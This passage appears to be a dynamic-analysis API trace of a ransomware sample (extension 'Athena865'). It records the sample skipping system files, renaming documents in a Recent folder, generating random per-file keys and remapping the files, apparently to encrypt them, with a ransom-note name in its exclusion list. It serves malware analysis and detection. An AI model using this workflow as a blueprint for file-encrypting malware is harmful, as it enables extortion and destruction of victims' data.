dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x154 [0052.447] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000 [0052.448] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.448] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.448] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.448] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.448] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.449] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.449] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.449] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.449] CloseHandle (hObject=0x154) returned 1 [0052.449] CloseHandle (hObject=0x17c) returned 1 [0052.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.451] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.451] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0597500, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0597500, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0597500, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ePM0n-.ots.lnk", cAlternateFileName="EPM0N-~1.LNK")) returned 1 [0052.451] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.451] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.451] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2=".") returned 1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="..") returned 1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="windows") returned -1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="bootmgr") returned 1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="temp") returned -1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="pagefile.sys") returned -1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="boot") returned 1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="ids.txt") returned -1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="ntuser.dat") returned -1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="perflogs") returned -1 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2="MSBuild") returned -1 [0052.452] lstrlenW (lpString="ePM0n-.ots.lnk") returned 14 [0052.452] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ePM0n-.ots.lnk" | out: lpString1="ePM0n-.ots.lnk") returned="ePM0n-.ots.lnk" [0052.452] lstrlenW (lpString="ePM0n-.ots.lnk") returned 14 [0052.452] lstrlenW (lpString="Athena865") returned 9 [0052.452] lstrcmpiW (lpString1="-.ots.lnk", lpString2="Athena865") returned -1 [0052.452] lstrlenW (lpString=".dll") returned 4 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2=".dll") returned 1 [0052.452] lstrlenW (lpString=".lnk") returned 4 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2=".lnk") returned 1 [0052.452] lstrlenW (lpString=".ini") returned 4 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2=".ini") returned 1 [0052.452] lstrlenW (lpString=".sys") returned 4 [0052.452] lstrcmpiW (lpString1="ePM0n-.ots.lnk", lpString2=".sys") returned 1 [0052.452] lstrlenW (lpString="ePM0n-.ots.lnk") returned 14 [0052.452] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ePM0n-.ots.lnk.Athena865") returned 78 [0052.452] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ePM0n-.ots.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\epm0n-.ots.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ePM0n-.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\epm0n-.ots.lnk.athena865"), dwFlags=0x1) returned 1 [0052.454] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ePM0n-.ots.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\epm0n-.ots.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.455] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3796) returned 1 [0052.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.455] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.455] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.456] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.456] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.456] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11e0, lpName=0x0) returned 0x154 [0052.456] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11e0) returned 0x100000 [0052.457] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.457] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.457] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.457] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.458] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.458] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0052.458] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0052.458] CloseHandle (hObject=0x154) returned 1 [0052.458] CloseHandle (hObject=0x17c) returned 1 [0052.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0052.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518c50 | out: hHeap=0x4f0000) returned 1 [0052.459] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0052.460] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0f68fc0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb230c540, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb230c540, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x991, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ES3F3HYy.lnk", cAlternateFileName="")) returned 1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2=".") returned 1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="..") returned 1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="windows") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="bootmgr") returned 1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="temp") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="pagefile.sys") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="boot") returned 1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="ids.txt") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="ntuser.dat") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="perflogs") returned -1 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2="MSBuild") returned -1 [0052.460] lstrlenW (lpString="ES3F3HYy.lnk") returned 12 [0052.460] lstrcpyW (in: lpString1=0x241e8b4, lpString2="ES3F3HYy.lnk" | out: lpString1="ES3F3HYy.lnk") returned="ES3F3HYy.lnk" [0052.460] lstrlenW (lpString="ES3F3HYy.lnk") returned 12 [0052.460] lstrlenW (lpString="Athena865") returned 9 [0052.460] lstrcmpiW (lpString1="F3HYy.lnk", lpString2="Athena865") returned 1 [0052.460] lstrlenW (lpString=".dll") returned 4 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2=".dll") returned 1 [0052.460] lstrlenW (lpString=".lnk") returned 4 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2=".lnk") returned 1 [0052.460] lstrlenW (lpString=".ini") returned 4 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2=".ini") returned 1 [0052.460] lstrlenW (lpString=".sys") returned 4 [0052.460] lstrcmpiW (lpString1="ES3F3HYy.lnk", lpString2=".sys") returned 1 [0052.460] lstrlenW (lpString="ES3F3HYy.lnk") returned 12 [0052.460] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ES3F3HYy.lnk.Athena865") returned 76 [0052.461] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ES3F3HYy.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\es3f3hyy.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ES3F3HYy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\es3f3hyy.lnk.athena865"), dwFlags=0x1) returned 1 [0052.461] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\ES3F3HYy.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\es3f3hyy.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.462] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2449) returned 1 [0052.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.462] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.462] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.463] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.463] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.465] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.466] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.466] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0052.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52aba0 [0052.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0052.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0052.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52aba0 [0052.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52aba0 | out: hHeap=0x4f0000) returned 1 [0052.471] lstrcpyW (in: lpString1=0x241e8b4, lpString2="F7QVJPbfkQM.lnk" | out: lpString1="F7QVJPbfkQM.lnk") returned="F7QVJPbfkQM.lnk" [0052.471] lstrlenW (lpString="F7QVJPbfkQM.lnk") returned 15 [0052.471] lstrlenW (lpString="Athena865") returned 9 [0052.471] lstrcmpiW (lpString1="bfkQM.lnk", lpString2="Athena865") returned 1 [0052.471] lstrlenW (lpString=".dll") returned 4 [0052.471] lstrcmpiW (lpString1="F7QVJPbfkQM.lnk", lpString2=".dll") returned 1 [0052.471] lstrlenW (lpString=".lnk") returned 4 [0052.471] lstrcmpiW (lpString1="F7QVJPbfkQM.lnk", lpString2=".lnk") returned 1 [0052.471] lstrlenW (lpString=".ini") returned 4 [0052.471] lstrcmpiW (lpString1="F7QVJPbfkQM.lnk", lpString2=".ini") returned 1 [0052.472] lstrlenW (lpString=".sys") returned 4 [0052.472] lstrcmpiW (lpString1="F7QVJPbfkQM.lnk", lpString2=".sys") returned 1 [0052.472] lstrlenW (lpString="F7QVJPbfkQM.lnk") returned 15 [0052.472] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\F7QVJPbfkQM.lnk.Athena865") returned 79 [0052.472] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\F7QVJPbfkQM.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\f7qvjpbfkqm.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\F7QVJPbfkQM.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\f7qvjpbfkqm.lnk.athena865"), dwFlags=0x1) returned 1 [0052.473] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\F7QVJPbfkQM.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\f7qvjpbfkqm.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.473] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2594) returned 1 [0052.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.473] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.474] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.474] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.474] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.475] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.475] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.476] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Fw6HFXXMnHNIBn.flv.lnk" | out: lpString1="Fw6HFXXMnHNIBn.flv.lnk") returned="Fw6HFXXMnHNIBn.flv.lnk" [0052.476] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv.lnk") returned 22 [0052.476] lstrlenW (lpString="Athena865") returned 9 [0052.476] lstrcmpiW (lpString1="n.flv.lnk", lpString2="Athena865") returned 1 [0052.477] lstrlenW (lpString=".dll") returned 4 [0052.477] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.lnk", lpString2=".dll") returned 1 [0052.477] lstrlenW (lpString=".lnk") returned 4 [0052.477] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.lnk", lpString2=".lnk") returned 1 [0052.477] lstrlenW (lpString=".ini") returned 4 [0052.477] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.lnk", lpString2=".ini") returned 1 [0052.477] lstrlenW (lpString=".sys") returned 4 [0052.477] lstrcmpiW (lpString1="Fw6HFXXMnHNIBn.flv.lnk", lpString2=".sys") returned 1 [0052.477] lstrlenW (lpString="Fw6HFXXMnHNIBn.flv.lnk") returned 22 [0052.477] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Fw6HFXXMnHNIBn.flv.lnk.Athena865") returned 86 [0052.477] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Fw6HFXXMnHNIBn.flv.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\fw6hfxxmnhnibn.flv.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Fw6HFXXMnHNIBn.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\fw6hfxxmnhnibn.flv.lnk.athena865"), dwFlags=0x1) returned 1 [0052.478] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Fw6HFXXMnHNIBn.flv.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\fw6hfxxmnhnibn.flv.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.478] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1030) returned 1 [0052.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.478] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.478] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.479] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.479] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.479] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.480] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.480] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.484] lstrcpyW (in: lpString1=0x241e8b4, lpString2="Gh8-EuDV8.lnk" | out: lpString1="Gh8-EuDV8.lnk") returned="Gh8-EuDV8.lnk" [0052.484] lstrlenW (lpString="Gh8-EuDV8.lnk") returned 13 [0052.484] lstrlenW (lpString="Athena865") returned 9 [0052.485] lstrcmpiW (lpString1="EuDV8.lnk", lpString2="Athena865") returned 1 [0052.485] lstrlenW (lpString=".dll") returned 4 [0052.485] lstrcmpiW (lpString1="Gh8-EuDV8.lnk", lpString2=".dll") returned 1 [0052.485] lstrlenW (lpString=".lnk") returned 4 [0052.485] lstrcmpiW (lpString1="Gh8-EuDV8.lnk", lpString2=".lnk") returned 1 [0052.485] lstrlenW (lpString=".ini") returned 4 [0052.485] lstrcmpiW (lpString1="Gh8-EuDV8.lnk", lpString2=".ini") returned 1 [0052.486] lstrlenW (lpString=".sys") returned 4 [0052.486] lstrcmpiW (lpString1="Gh8-EuDV8.lnk", lpString2=".sys") returned 1 [0052.486] lstrlenW (lpString="Gh8-EuDV8.lnk") returned 13 [0052.486] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Gh8-EuDV8.lnk.Athena865") returned 77 [0052.486] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Gh8-EuDV8.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gh8-eudv8.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Gh8-EuDV8.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gh8-eudv8.lnk.athena865"), dwFlags=0x1) returned 1 [0052.487] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\Gh8-EuDV8.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gh8-eudv8.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0052.487] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=5201) returned 1 [0052.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0052.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0052.487] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518c50 [0052.487] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.488] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.488] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.488] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.489] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.489] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.490] lstrcpyW (in: lpString1=0x241e8b4, lpString2="GKf.lnk" | out: lpString1="GKf.lnk") returned="GKf.lnk" [0052.490] lstrlenW (lpString="GKf.lnk") returned 7 [0052.490] lstrlenW (lpString="Athena865") returned 9 [0052.490] lstrlenW (lpString=".dll") returned 4 [0052.490] lstrcmpiW (lpString1="GKf.lnk", lpString2=".dll") returned 1 [0052.490] lstrlenW (lpString=".lnk") returned 4 [0052.490] lstrcmpiW (lpString1="GKf.lnk", lpString2=".lnk") returned 1 [0052.490] lstrlenW (lpString=".ini") returned 4 [0052.490] lstrcmpiW (lpString1="GKf.lnk", lpString2=".ini") returned 1 [0052.490] lstrlenW (lpString=".sys") returned 4 [0052.490] lstrcmpiW (lpString1="GKf.lnk", lpString2=".sys") returned 1 [0052.490] lstrlenW (lpString="GKf.lnk") returned 7 [0052.491] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\GKf.lnk.Athena865") returned 71 [0052.491] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\GKf.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gkf.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\GKf.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gkf.lnk.athena865"), dwFlags=0x1) returned 1 [0052.491] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\GKf.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\gkf.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 